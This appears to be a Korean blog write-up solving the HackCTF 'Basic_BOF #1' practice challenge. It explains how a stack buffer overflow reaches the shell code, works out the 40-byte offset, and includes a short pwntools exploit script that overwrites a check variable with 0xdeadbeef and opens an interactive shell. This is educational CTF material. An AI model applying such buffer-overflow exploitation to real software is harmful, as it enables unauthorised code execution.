HACKCTF - Basic_BOF #1

2020. 7. 6. 10:43CTF's Write-up

Profil image

 

오랜만에 포너블을 잡고 첫번째로 풀이한 문제

프로그램은 만나서 가장 먼저 해야하는일은 실행시켜보는 것

 

 

실행화면

 

보아하니 값을 입력받고 그 값이랑 또 다른값인 체크 값을 보여주는 것 같다,

IDA로 코드를 까봐서 무슨 동작을 하는 친구인지를 살펴보는게 좋을 것 같다.

 

 

IDA 실행화면

 

 

코드를 보면 15번째에 쉘을 주는 코드가 있기에 15번째로 가려면 어떻게 해야할지가 관건이다 (10번째 분기문 통과 & 12번째 분기문 들어오기)

 

1. 10번줄 통과하려면 v5 값을 다른값으로 변조해주면 된다.

2. 12번줄에서 안으로 들어오려면 v5 값을 0xdeadbeef 로 넣어야한다.

 

정답이다 전형적인 BOF문제이다.

여기서 BOF로 익스플로잇을 하려면

s의 버퍼크기를 알아서 모두 덮고, 그 뒤에있는 v5에 0xdeadbeef를 넣어주면 된다.

 

S의 버퍼 크기 구하기

 

 

스택 구조

 

 

S의 위치 --> 0x00000034

v5의 위치 --> 0x0000000C 

 

 

0x34-0xC = 40

 

즉 40만큼의 크기를 S에 넣어주고, v5에 0xdeadbeef를 넣는다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
 
#remote setting
= remote("ctf.j0n9hyun.xyz"3000)
context.log_level = 'debug'
 
#set pyaload
payload = ""
payload += "A"*40 #buffer size
payload += p32(0xdeadbeef+ "AAAA" #key and dummy
log.info("payload = " + payload)
 
#send
r.sendline(payload)
 
#get control
r.interactive()
cs

 

익스코드이다.

 

참고로 마지막 r.interactive()는 함수가 system("/bin/dash")이므로 내가 직접 cat flag를 쳐서 플래그를 받아야하기에 전환시킨것이다.

'CTF's Write-up' 카테고리의 다른 글

HACKCTF - /  (0) 2020.07.07
HACKCTF - Basic_BOF #2  (0) 2020.07.07
h3x0r easy_of_the_easy write-up  (0) 2018.11.07
codegate2018 - BaskinRobins31  (0) 2018.10.31
codegate 2017 - babypwn  (0) 2018.09.20